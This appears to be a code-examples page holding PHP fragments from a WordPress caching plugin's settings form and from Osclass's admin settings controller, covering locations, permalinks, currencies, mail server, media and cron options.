. __('Key web pages on your site will get refreshed when you edit your posts and pages, so as to ensure they\'re reasonably fresh. Newly approved comments will trigger throttled refreshes of an even smaller subset of web pages. Statically cached web pages expire after 24 hours.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('The benefit of the filesystem-based static cache is that your site\'s key web pages, such as the site\'s front page or individual posts, will be served without even loading PHP. This allows for maximum scalability if your site is getting hammered by excrutiating traffic.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('The memcache-based static cache works in a similar manner, but stores cached pages in memcache rather than on the filesystem. PHP is always loaded, so it\'s a bit slower for key web pages; but it\'s much faster than using the filesystem for other web pages.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('You\'ll usually want both turned on, in order to get the best of both worlds. The only exception is if your site is hosted on multiple servers: in this case, consider sticking to the memory-based static cache, because of the lag introduced by the filesystem\'s synchronisations from a server to the next.', 'sem-cache') . '</p>' . $static_errors . $memory_errors . '</td>' . "\n" . '</tr>' . "\n";
     echo '<tr>' . "\n" . '<th scope="row">' . __('Query Cache', 'sem-cache') . '</th>' . "\n" . '<td>' . '<p>' . '<label>' . '<input type="checkbox"' . ' id="query_cache" name="query_cache"' . checked((bool) get_site_option('query_cache'), true, false) . ($query_errors ? ' disabled="disabled"' : '') . ' />' . '&nbsp;' . __('Cache MySQL query results in memory.', 'sem-cache') . '</label>' . '</p>' . "\n" . '<p>' . __('The query cache lets WordPress work in a fully dynamic manner, while doing its best to avoid hits to the MySQL database.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('The query cache primarily benefits commentors and users who are logged in; in particular yourself. These users cannot benefit from a static cache, because each of web page on your site potentially contains data that is specific to them; but they fully benefit from a query cache.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('The query cache\'s refresh policy is similar to that of the memory-based static cache: key queries are flushed whenever you edit posts or pages, or approve new comments. All of the remaining queries expire after 24 hours.', 'sem-cache') . '</p>' . "\n" . $query_errors . '</td>' . "\n" . '</tr>' . "\n";
     echo '<tr>' . "\n" . '<th scope="row">' . __('Object Cache', 'sem-cache') . '</th>' . "\n" . '<td>' . '<p>' . '<label>' . '<input type="checkbox"' . ' id="object_cache" name="object_cache"' . checked((bool) get_site_option('object_cache'), true, false) . ($object_errors ? ' disabled="disabled"' : '') . ' />' . '&nbsp;' . __('Make WordPress objects persistent.', 'sem-cache') . '</label>' . '</p>' . "\n" . '<p>' . __('The object cache stores granular bits of information in memcache, and makes them available from a page to the next. This allows WordPress to load web pages without always needing to retrieve things such as options, users, or individual entries from the database.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('The object cache\'s primary benefit is that it is always accurate: at no time will it ever serve data that is potentially outdated.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('The object cache is automatically turned on, and cannot be disabled, if you use the memory-based static cache or the query cache.', 'sem-cache') . '</p>' . "\n" . $object_errors . '</td>' . "\n" . '</tr>' . "\n";
     echo '<tr>' . "\n" . '<th scope="row">' . __('Asset Cache', 'sem-cache') . '</th>' . "\n" . '<td>' . '<p>' . '<label>' . '<input type="checkbox"' . ' id="asset_cache" name="asset_cache"' . checked((bool) get_site_option('asset_cache'), true, false) . ($assets_errors ? ' disabled="disabled"' : '') . ' />' . '&nbsp;' . __('Enable the asset cache.', 'sem-cache') . '</label>' . '</p>' . "\n" . '<p>' . __('The asset cache speeds your site up by minimizing the number of server requests. It achieve this by concatenating your javascript and CSS files on the front end.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('This setting should always be turned on, unless you\'re in the process of manually editing these assets.', 'sem-cache') . '</p>' . "\n" . $assets_errors . '</td>' . "\n" . '</tr>' . "\n";
     echo '<tr>' . "\n" . '<th scope="row">' . __('File Compression', 'sem-cache') . '</th>' . "\n" . '<td>' . '<p>' . '<label>' . '<input type="checkbox"' . ' id="gzip_cache" name="gzip_cache"' . checked((bool) get_site_option('gzip_cache'), true, false) . ($gzip_errors ? ' disabled="disabled"' : '') . ' />' . '&nbsp;' . __('Enable text file compression.', 'sem-cache') . '</label>' . '</p>' . "\n" . '<p>' . __('Compressing files that are sent by your site trims the load time by as much as 70%. The file compression itself is taken care of at the Apache level, by using mod_deflate.', 'sem-cache') . '</p>' . "\n" . '<p>' . __('This setting should always be turned on, unless you\'re in the process of manually editing files on your site.', 'sem-cache') . '</p>' . "\n" . $gzip_errors . $gzip_notice . '</td>' . "\n" . '</tr>' . "\n";
     echo '</table>' . "\n";
     echo '<p class="submit">' . '<button type="submit" name="action" value="save" class="submit button">' . __('Save Changes', 'sem-cache') . '</button>' . '</p>' . "\n";
     echo '</form>' . "\n" . '</div>' . "\n";
 }
예제 #17
0
                            <div class="actions actions-permalinks">
                                <input type="submit" value="<?php 
echo osc_esc_html(__('Save changes'));
?>
" />
                            </div>
                            </fieldset>
                    </form>
                    
                    <h2><?php 
_e('Useful information');
?>
</h2>
                    <?php 
$mod_rewrite = '';
if (apache_mod_loaded('mod_rewrite')) {
    $mod_rewrite = sprintf(__('Apache Module <a href="%s">mod_rewrite</a> is loaded'), 'http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html');
} else {
    $mod_rewrite = sprintf(__('Apache Module <a href="%s">mod_rewrite</a> is <b>not</b> loaded'), 'http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html');
}
$htaccess_exist = false;
$htaccess_text = __("It doesn't exist <em>.htaccess</em> file");
if (file_exists(osc_base_path() . '.htaccess')) {
    $htaccess_exist = true;
    $htaccess_text = __("It exists <em>.htaccess</em> file. Below you can see the content of the file:");
}
?>
                    <ul>
                        <li>
                            <?php 
echo $mod_rewrite;
예제 #18
0
 function doModel()
 {
     switch ($this->action) {
         case 'comments':
             //calling the comments settings view
             $this->doView('settings/comments.php');
             break;
         case 'comments_post':
             // updating comment
             $iUpdated = 0;
             $enabledComments = Params::getParam('enabled_comments');
             $enabledComments = $enabledComments != '' ? true : false;
             $moderateComments = Params::getParam('moderate_comments');
             $moderateComments = $moderateComments != '' ? true : false;
             $numModerateComments = Params::getParam('num_moderate_comments');
             $commentsPerPage = Params::getParam('comments_per_page');
             $notifyNewComment = Params::getParam('notify_new_comment');
             $notifyNewComment = $notifyNewComment != '' ? true : false;
             $regUserPostComments = Params::getParam('reg_user_post_comments');
             $regUserPostComments = $regUserPostComments != '' ? true : false;
             $iUpdated += Preference::newInstance()->update(array('s_value' => $enabledComments), array('s_name' => 'enabled_comments'));
             if ($moderateComments) {
                 $iUpdated += Preference::newInstance()->update(array('s_value' => $numModerateComments), array('s_name' => 'moderate_comments'));
             } else {
                 $iUpdated += Preference::newInstance()->update(array('s_value' => '-1'), array('s_name' => 'moderate_comments'));
             }
             $iUpdated += Preference::newInstance()->update(array('s_value' => $notifyNewComment), array('s_name' => 'notify_new_comment'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $commentsPerPage), array('s_name' => 'comments_per_page'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $regUserPostComments), array('s_name' => 'reg_user_post_comments'));
             if ($iUpdated > 0) {
                 osc_add_flash_ok_message(_m('Comments\' settings have been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=comments');
             break;
         case 'locations':
             // calling the locations settings view
             $location_action = Params::getParam('type');
             $mCountries = new Country();
             switch ($location_action) {
                 case 'add_country':
                     // add country
                     $countryCode = strtoupper(Params::getParam('c_country'));
                     $request = Params::getParam('country');
                     foreach ($request as $k => $v) {
                         $countryName = $v;
                         break;
                     }
                     $exists = $mCountries->findByCode($countryCode);
                     if (isset($exists['s_name'])) {
                         osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $countryName), 'admin');
                     } else {
                         $countries_json = osc_file_get_contents('http://geo.osclass.org/geo.download.php?action=country_code&term=' . urlencode($countryCode));
                         $countries = json_decode($countries_json);
                         foreach ($request as $k => $v) {
                             $data = array('pk_c_code' => $countryCode, 'fk_c_locale_code' => $k, 's_name' => $v);
                             $mCountries->insert($data);
                         }
                         if (isset($countries->error)) {
                             // Country is not in our GEO database
                             // We have no region for user-typed countries
                         } else {
                             // Country is in our GEO database, add regions and cities
                             $manager_region = new Region();
                             $regions_json = osc_file_get_contents('http://geo.osclass.org/geo.download.php?action=region&country_code=' . urlencode($countryCode) . '&term=all');
                             $regions = json_decode($regions_json);
                             if (!isset($regions->error)) {
                                 if (count($regions) > 0) {
                                     foreach ($regions as $r) {
                                         $manager_region->insert(array("fk_c_country_code" => $r->country_code, "s_name" => $r->name));
                                     }
                                 }
                                 unset($regions);
                                 unset($regions_json);
                                 $manager_city = new City();
                                 if (count($countries) > 0) {
                                     foreach ($countries as $c) {
                                         $regions = $manager_region->listWhere('fk_c_country_code = \'' . $c->id . '\'');
                                         if (!isset($regions->error)) {
                                             if (count($regions) > 0) {
                                                 foreach ($regions as $region) {
                                                     $cities_json = osc_file_get_contents('http://geo.osclass.org/geo.download.php?action=city&country=' . urlencode($c->name) . '&region=' . urlencode($region['s_name']) . '&term=all');
                                                     $cities = json_decode($cities_json);
                                                     if (!isset($cities->error)) {
                                                         if (count($cities) > 0) {
                                                             foreach ($cities as $ci) {
                                                                 $manager_city->insert(array("fk_i_region_id" => $region['pk_i_id'], "s_name" => $ci->name, "fk_c_country_code" => $ci->country_code));
                                                             }
                                                         }
                                                     }
                                                     unset($cities);
                                                     unset($cities_json);
                                                 }
                                             }
                                         }
                                     }
                                 }
                             }
                         }
                         osc_add_flash_ok_message(sprintf(_m('%s has been added as a new country'), $countryName), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'edit_country':
                     // edit country
                     $countryCode = Params::getParam('country_code');
                     $request = Params::getParam('e_country');
                     $ok = true;
                     foreach ($request as $k => $v) {
                         $result = $mCountries->updateLocale($countryCode, $k, $v);
                         if (!$result) {
                             $ok = false;
                         }
                     }
                     if ($ok) {
                         osc_add_flash_ok_message(_m('Country has been edited'), 'admin');
                     } else {
                         osc_add_flash_ok_message(_m('There were some problems editing the country'), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'delete_country':
                     // delete country
                     $countryId = Params::getParam('id');
                     // HAS ITEMS?
                     $has_items = Item::newInstance()->listWhere('l.fk_c_country_code = \'%s\' LIMIT 1', $countryId);
                     if (!$has_items) {
                         $mRegions = new Region();
                         $mCities = new City();
                         $aCountries = $mCountries->findByCode($countryId);
                         $aRegions = $mRegions->listWhere('fk_c_country_code =  \'' . $aCountries['pk_c_code'] . '\'');
                         foreach ($aRegions as $region) {
                             $mCities->delete(array('fk_i_region_id' => $region['pk_i_id']));
                             $mRegions->delete(array('pk_i_id' => $region['pk_i_id']));
                         }
                         $mCountries->delete(array('pk_c_code' => $aCountries['pk_c_code']));
                         osc_add_flash_ok_message(sprintf(_m('%s has been deleted'), $aCountries['s_name']), 'admin');
                     } else {
                         osc_add_flash_error_message(sprintf(_m('%s can not be deleted, some items are located in it'), $aCountries['s_name']), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'add_region':
                     // add region
                     if (!Params::getParam('r_manual')) {
                         $this->install_location_by_region();
                     } else {
                         $mRegions = new Region();
                         $regionName = Params::getParam('region');
                         $countryCode = Params::getParam('country_c_parent');
                         $exists = $mRegions->findByNameAndCode($regionName, $countryCode);
                         if (!isset($exists['s_name'])) {
                             $data = array('fk_c_country_code' => $countryCode, 's_name' => $regionName);
                             $mRegions->insert($data);
                             osc_add_flash_ok_message(sprintf(_m('%s has been added as a new region'), $regionName), 'admin');
                         } else {
                             osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $regionName), 'admin');
                         }
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'edit_region':
                     // edit region
                     $mRegions = new Region();
                     $newRegion = Params::getParam('e_region');
                     $regionId = Params::getParam('region_id');
                     $exists = $mRegions->findByName($newRegion);
                     if (!$exists['pk_i_id'] || $exists['pk_i_id'] == $regionId) {
                         if ($regionId != '') {
                             $mRegions->update(array('s_name' => $newRegion), array('pk_i_id' => $regionId));
                             osc_add_flash_ok_message(sprintf(_m('%s has been edited'), $newRegion), 'admin');
                         }
                     } else {
                         osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $newRegion), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'delete_region':
                     // delete region
                     $mRegion = new Region();
                     $mCities = new City();
                     $regionId = Params::getParam('id');
                     if ($regionId != '') {
                         $aRegion = $mRegion->findByPrimaryKey($regionId);
                         $mCities->delete(array('fk_i_region_id' => $regionId));
                         $mRegion->delete(array('pk_i_id' => $regionId));
                         osc_add_flash_ok_message(sprintf(_m('%s has been deleted'), $aRegion['s_name']), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'add_city':
                     // add city
                     $mCities = new City();
                     $regionId = Params::getParam('region_parent');
                     $countryCode = Params::getParam('country_c_parent');
                     $newCity = Params::getParam('city');
                     $exists = $mCities->findByNameAndRegion($newCity, $regionId);
                     if (!isset($exists['s_name'])) {
                         $mCities->insert(array('fk_i_region_id' => $regionId, 's_name' => $newCity, 'fk_c_country_code' => $countryCode));
                         osc_add_flash_ok_message(sprintf(_m('%s has been added as a new city'), $newCity), 'admin');
                     } else {
                         osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $newCity), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'edit_city':
                     // edit city
                     $mCities = new City();
                     $newCity = Params::getParam('e_city');
                     $cityId = Params::getParam('city_id');
                     $exists = $mCities->findByName($newCity);
                     if (!isset($exists['pk_i_id']) || $exists['pk_i_id'] == $cityId) {
                         $mCities->update(array('s_name' => $newCity), array('pk_i_id' => $cityId));
                         osc_add_flash_ok_message(sprintf(_m('%s has been edited'), $newCity), 'admin');
                     } else {
                         osc_add_flash_error_message(sprintf(_m('%s already was in the database'), $newCity), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
                 case 'delete_city':
                     // delete city
                     $mCities = new City();
                     $cityId = Params::getParam('id');
                     $aCity = $mCities->findByPrimaryKey($cityId);
                     $mCities->delete(array('pk_i_id' => $cityId));
                     osc_add_flash_ok_message(sprintf(_m('%s has been deleted'), $aCity['s_name']), 'admin');
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=locations');
                     break;
             }
             $aCountries = $mCountries->listAllAdmin();
             $this->_exportVariableToView('aCountries', $aCountries);
             $this->doView('settings/locations.php');
             break;
         case 'permalinks':
             // calling the permalinks view
             $htaccess = Params::getParam('htaccess_status');
             $file = Params::getParam('file_status');
             $this->_exportVariableToView('htaccess', $htaccess);
             $this->_exportVariableToView('file', $file);
             $this->doView('settings/permalinks.php');
             break;
         case 'permalinks_post':
             // updating permalinks option
             $htaccess_status = 0;
             $file_status = 0;
             $rewriteEnabled = Params::getParam('rewrite_enabled');
             $rewriteEnabled = $rewriteEnabled ? true : false;
             if ($rewriteEnabled) {
                 Preference::newInstance()->update(array('s_value' => '1'), array('s_name' => 'rewriteEnabled'));
                 require_once ABS_PATH . 'generate_rules.php';
                 $htaccess = '
 <IfModule mod_rewrite.c>
     RewriteEngine On
     RewriteBase ' . REL_WEB_URL . '
     RewriteRule ^index\\.php$ - [L]
     RewriteCond %{REQUEST_FILENAME} !-f
     RewriteCond %{REQUEST_FILENAME} !-d
     RewriteRule . ' . REL_WEB_URL . 'index.php [L]
 </IfModule>';
                 if (file_exists(osc_base_path() . '.htaccess')) {
                     $file_status = 1;
                 } else {
                     if (file_put_contents(osc_base_path() . '.htaccess', $htaccess)) {
                         $file_status = 2;
                     } else {
                         $file_status = 3;
                     }
                 }
                 if (apache_mod_loaded('mod_rewrite')) {
                     $htaccess_status = 1;
                     Preference::newInstance()->update(array('s_value' => '1'), array('s_name' => 'mod_rewrite_loaded'));
                 } else {
                     $htaccess_status = 2;
                     Preference::newInstance()->update(array('s_value' => '0'), array('s_name' => 'mod_rewrite_loaded'));
                 }
             } else {
                 $modRewrite = apache_mod_loaded('mod_rewrite');
                 Preference::newInstance()->update(array('s_value' => '0'), array('s_name' => 'rewriteEnabled'));
                 Preference::newInstance()->update(array('s_value' => '0'), array('s_name' => 'mod_rewrite_loaded'));
             }
             $redirectUrl = osc_admin_base_url(true) . '?page=settings&action=permalinks&htaccess_status=';
             $redirectUrl .= $htaccess_status . '&file_status=' . $file_status;
             $this->redirectTo($redirectUrl);
             break;
         case 'spamNbots':
             // calling the spam and bots view
             $this->doView('settings/spamNbots.php');
             break;
         case 'spamNbots_post':
             // updating spam and bots option
             $iUpdated = 0;
             $akismetKey = Params::getParam('akismetKey');
             $akismetKey = trim($akismetKey);
             $recaptchaPrivKey = Params::getParam('recaptchaPrivKey');
             $recaptchaPrivKey = trim($recaptchaPrivKey);
             $recaptchaPubKey = Params::getParam('recaptchaPubKey');
             $recaptchaPubKey = trim($recaptchaPubKey);
             $iUpdated += Preference::newInstance()->update(array('s_value' => $akismetKey), array('s_name' => 'akismetKey'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $recaptchaPrivKey), array('s_name' => 'recaptchaPrivKey'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $recaptchaPubKey), array('s_name' => 'recaptchaPubKey'));
             if ($iUpdated > 0) {
                 osc_add_flash_ok_message(_m('Akismet and reCAPTCHA have been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=spamNbots');
             break;
         case 'currencies':
             // currencies settings
             $currencies_action = Params::getParam('type');
             switch ($currencies_action) {
                 case 'add':
                     // calling add currency view
                     $this->doView('settings/add_currency.php');
                     break;
                 case 'add_post':
                     // adding a new currency
                     $currencyCode = Params::getParam('pk_c_code');
                     $currencyName = Params::getParam('s_name');
                     $currencyDescription = Params::getParam('s_description');
                     // cleaning parameters
                     $currencyName = strip_tags($currencyName);
                     $currencyDescription = strip_tags($currencyDescription);
                     $currencyCode = strip_tags($currencyCode);
                     $currencyCode = trim($currencyCode);
                     if (!preg_match('/^.{1,3}$/', $currencyCode)) {
                         osc_add_flash_error_message(_m('Error: the currency code is not in the correct format'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $fields = array('pk_c_code' => $currencyCode, 's_name' => $currencyName, 's_description' => $currencyDescription);
                     $isInserted = Currency::newInstance()->insert($fields);
                     if ($isInserted) {
                         osc_add_flash_ok_message(_m('New currency has been added'), 'admin');
                     } else {
                         osc_add_flash_error_message(_m('Error: currency couldn\'t be added'), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     break;
                 case 'edit':
                     // calling edit currency view
                     $currencyCode = Params::getParam('code');
                     $currencyCode = strip_tags($currencyCode);
                     $currencyCode = trim($currencyCode);
                     if ($currencyCode == '') {
                         osc_add_flash_error_message(_m('Error: the currency code is not in the correct format'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $aCurrency = Currency::newInstance()->findByCode($currencyCode);
                     if (count($aCurrency) == 0) {
                         osc_add_flash_error_message(_m('Error: the currency doesn\'t exist'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $this->_exportVariableToView('aCurrency', $aCurrency);
                     $this->doView('settings/edit_currency.php');
                     break;
                 case 'edit_post':
                     // updating currency
                     $currencyName = Params::getParam('s_name');
                     $currencyDescription = Params::getParam('s_description');
                     $currencyCode = Params::getParam('pk_c_code');
                     // cleaning parameters
                     $currencyName = strip_tags($currencyName);
                     $currencyDescription = strip_tags($currencyDescription);
                     $currencyCode = strip_tags($currencyCode);
                     $currencyCode = trim($currencyCode);
                     if (!preg_match('/.{1,3}/', $currencyCode)) {
                         osc_add_flash_error_message(_m('Error: the currency code is not in the correct format'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $iUpdated = Currency::newInstance()->update(array('s_name' => $currencyName, 's_description' => $currencyDescription), array('pk_c_code' => $currencyCode));
                     if ($iUpdated == 1) {
                         osc_add_flash_ok_message(_m('Currency has been updated'), 'admin');
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     break;
                 case 'delete':
                     // deleting a currency
                     $rowChanged = 0;
                     $aCurrencyCode = Params::getParam('code');
                     if (!is_array($aCurrencyCode)) {
                         osc_add_flash_error_message(_m('Error: the currency code is not in the correct format'), 'admin');
                         $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     }
                     $msg_current = '';
                     foreach ($aCurrencyCode as $currencyCode) {
                         if (preg_match('/.{1,3}/', $currencyCode) && $currencyCode != osc_currency()) {
                             $rowChanged += Currency::newInstance()->delete(array('pk_c_code' => $currencyCode));
                         }
                         if ($currencyCode == osc_currency()) {
                             $msg_current = sprintf('. ' . _m("%s could not be deleted because it's the default currency"), $currencyCode);
                         }
                     }
                     $msg = '';
                     switch ($rowChanged) {
                         case '0':
                             $msg = _m('No currencies have been deleted');
                             osc_add_flash_error_message($msg . $msg_current, 'admin');
                             break;
                         case '1':
                             $msg = _m('One currency has been deleted');
                             osc_add_flash_ok_message($msg . $msg_current, 'admin');
                             break;
                         case '-1':
                             $msg = sprintf(_m("%s could not be deleted because this currency still in use"), $currencyCode);
                             osc_add_flash_error_message($msg . $msg_current, 'admin');
                             break;
                         default:
                             $msg = sprintf(_m('%s currencies have been deleted'), $rowChanged);
                             osc_add_flash_ok_message($msg . $msg_current, 'admin');
                             break;
                     }
                     $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=currencies');
                     break;
                 default:
                     // calling the currencies view
                     $aCurrencies = Currency::newInstance()->listAll();
                     $this->_exportVariableToView('aCurrencies', $aCurrencies);
                     $this->doView('settings/currencies.php');
                     break;
             }
             break;
         case 'mailserver':
             // calling the mailserver view
             $this->doView('settings/mailserver.php');
             break;
         case 'mailserver_post':
             if (defined('DEMO')) {
                 osc_add_flash_warning_message(_m("This action cannot be done because is a demo site"), 'admin');
                 $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=mailserver');
             }
             // updating mailserver
             $iUpdated = 0;
             $mailserverAuth = Params::getParam('mailserver_auth');
             $mailserverAuth = $mailserverAuth != '' ? true : false;
             $mailserverPop = Params::getParam('mailserver_pop');
             $mailserverPop = $mailserverPop != '' ? true : false;
             $mailserverType = Params::getParam('mailserver_type');
             $mailserverHost = Params::getParam('mailserver_host');
             $mailserverPort = Params::getParam('mailserver_port');
             $mailserverUsername = Params::getParam('mailserver_username');
             $mailserverPassword = Params::getParam('mailserver_password');
             $mailserverSsl = Params::getParam('mailserver_ssl');
             if (!in_array($mailserverType, array('custom', 'gmail'))) {
                 osc_add_flash_error_message(_m('Mail server type is incorrect'), 'admin');
                 $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=mailserver');
             }
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverAuth), array('s_name' => 'mailserver_auth'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverPop), array('s_name' => 'mailserver_pop'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverType), array('s_name' => 'mailserver_type'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverHost), array('s_name' => 'mailserver_host'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverPort), array('s_name' => 'mailserver_port'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverUsername), array('s_name' => 'mailserver_username'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverPassword), array('s_name' => 'mailserver_password'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $mailserverSsl), array('s_name' => 'mailserver_ssl'));
             if ($iUpdated > 0) {
                 osc_add_flash_ok_message(_m('Mail server configuration has changed'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=mailserver');
             break;
         case 'media':
             // calling the media view
             $this->doView('settings/media.php');
             break;
         case 'media_post':
             // updating the media config
             $iUpdated = 0;
             $maxSizeKb = Params::getParam('maxSizeKb');
             $allowedExt = Params::getParam('allowedExt');
             $dimThumbnail = Params::getParam('dimThumbnail');
             $dimPreview = Params::getParam('dimPreview');
             $dimNormal = Params::getParam('dimNormal');
             $keepOriginalImage = Params::getParam('keep_original_image');
             $use_imagick = Params::getParam('use_imagick');
             $type_watermark = Params::getParam('watermark_type');
             $watermark_color = Params::getParam('watermark_text_color');
             $watermark_text = Params::getParam('watermark_text');
             $watermark_image = Params::getParam('watermark_image');
             switch ($type_watermark) {
                 case 'none':
                     $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_text_color'));
                     $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_text'));
                     $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_image'));
                     break;
                 case 'text':
                     $iUpdated += Preference::newInstance()->update(array('s_value' => $watermark_color), array('s_name' => 'watermark_text_color'));
                     $iUpdated += Preference::newInstance()->update(array('s_value' => $watermark_text), array('s_name' => 'watermark_text'));
                     $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_image'));
                     $iUpdated += Preference::newInstance()->update(array('s_value' => Params::getParam('watermark_text_place')), array('s_name' => 'watermark_place'));
                     break;
                 case 'image':
                     // upload image & move to path
                     if ($_FILES['watermark_image']['error'] == UPLOAD_ERR_OK) {
                         $tmpName = $_FILES['watermark_image']['tmp_name'];
                         $path = osc_content_path() . 'uploads/watermark.png';
                         if (move_uploaded_file($tmpName, $path)) {
                             $iUpdated += Preference::newInstance()->update(array('s_value' => $path), array('s_name' => 'watermark_image'));
                         } else {
                             $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_image'));
                         }
                     }
                     $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_text_color'));
                     $iUpdated += Preference::newInstance()->update(array('s_value' => ''), array('s_name' => 'watermark_text'));
                     $iUpdated += Preference::newInstance()->update(array('s_value' => Params::getParam('watermark_image_place')), array('s_name' => 'watermark_place'));
                     break;
                 default:
                     break;
             }
             // format parameters
             $maxSizeKb = strip_tags($maxSizeKb);
             $allowedExt = strip_tags($allowedExt);
             $dimThumbnail = strip_tags($dimThumbnail);
             $dimPreview = strip_tags($dimPreview);
             $dimNormal = strip_tags($dimNormal);
             $keepOriginalImage = $keepOriginalImage != '' ? true : false;
             $use_imagick = $use_imagick != '' ? true : false;
             if (!extension_loaded('imagick')) {
                 $use_imagick = false;
             }
             $iUpdated += Preference::newInstance()->update(array('s_value' => $maxSizeKb), array('s_name' => 'maxSizeKb'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $allowedExt), array('s_name' => 'allowedExt'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $dimThumbnail), array('s_name' => 'dimThumbnail'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $dimPreview), array('s_name' => 'dimPreview'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $dimNormal), array('s_name' => 'dimNormal'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $keepOriginalImage), array('s_name' => 'keep_original_image'));
             $iUpdated += Preference::newInstance()->update(array('s_value' => $use_imagick), array('s_name' => 'use_imagick'));
             if ($iUpdated > 0) {
                 osc_add_flash_ok_message(_m('Media config has been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=media');
             break;
         case 'contact':
             // calling the media view
             $this->doView('settings/contact.php');
             break;
         case 'contact_post':
             // updating the media config
             $enabled_attachment = Params::getParam('enabled_attachment');
             if ($enabled_attachment == '') {
                 $enabled_attachment = 0;
             } else {
                 $enabled_attachment = 1;
             }
             // format parameters
             $iUpdated = Preference::newInstance()->update(array('s_value' => $enabled_attachment), array('s_name' => 'contact_attachment'));
             if ($iUpdated > 0) {
                 osc_add_flash_ok_message(_m('Contact configuration has been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=contact');
             break;
         case 'cron':
             // viewing the cron view
             $this->doView('settings/cron.php');
             break;
         case 'cron_post':
             // updating cron config
             $iUpdated = 0;
             $bAutoCron = Params::getParam('auto_cron');
             $bAutoCron = $bAutoCron != '' ? true : false;
             $iUpdated += Preference::newInstance()->update(array('s_value' => $bAutoCron), array('s_name' => 'auto_cron'));
             if ($iUpdated > 0) {
                 osc_add_flash_ok_message(_m('Cron config has been updated'), 'admin');
             }
             $this->redirectTo(osc_admin_base_url(true) . '?page=settings&action=cron');
             break;
         case 'update':
             // update index view
             $iUpdated = 0;
             $sPageTitle = Params::getParam('pageTitle');
             $sPageDesc = Params::getParam('pageDesc');
             $sContactEmail = Params::getParam('contactEmail');
             $sLanguage = Params::getParam('language');
             $sDateFormat = Params::getParam('dateFormat');
             $sCurrency = Params::getParam('currency');
             $sWeekStart = Params::getParam('weekStart');
             $sTimeFormat = Params::getParam('timeFormat');
             $sTimezone = Params::getParam('timezone');
             $sNumRssItems = Params::getParam('num_rss_items');
             $maxLatestItems = Params::getParam('max_latest_items_at_home');
             // preparing parameters
             $sPageTitle = strip_tags($sPageTitle);
             $sPageDesc = strip_tags($sPageDesc);
             $sContactEmail = strip_tags($sContactEmail);
             $sLanguage = strip_tags($sLanguage);
             $sDateFormat = strip_tags($sDateFormat);
             $sCurrency = strip_tags($sCurrency);
             $sWeekStart = strip_tags($sWeekStart);
             $sTimeFormat = strip_tags($sTimeFormat);
             $sNumRssItems = (int) strip_tags($sNumRssItems);
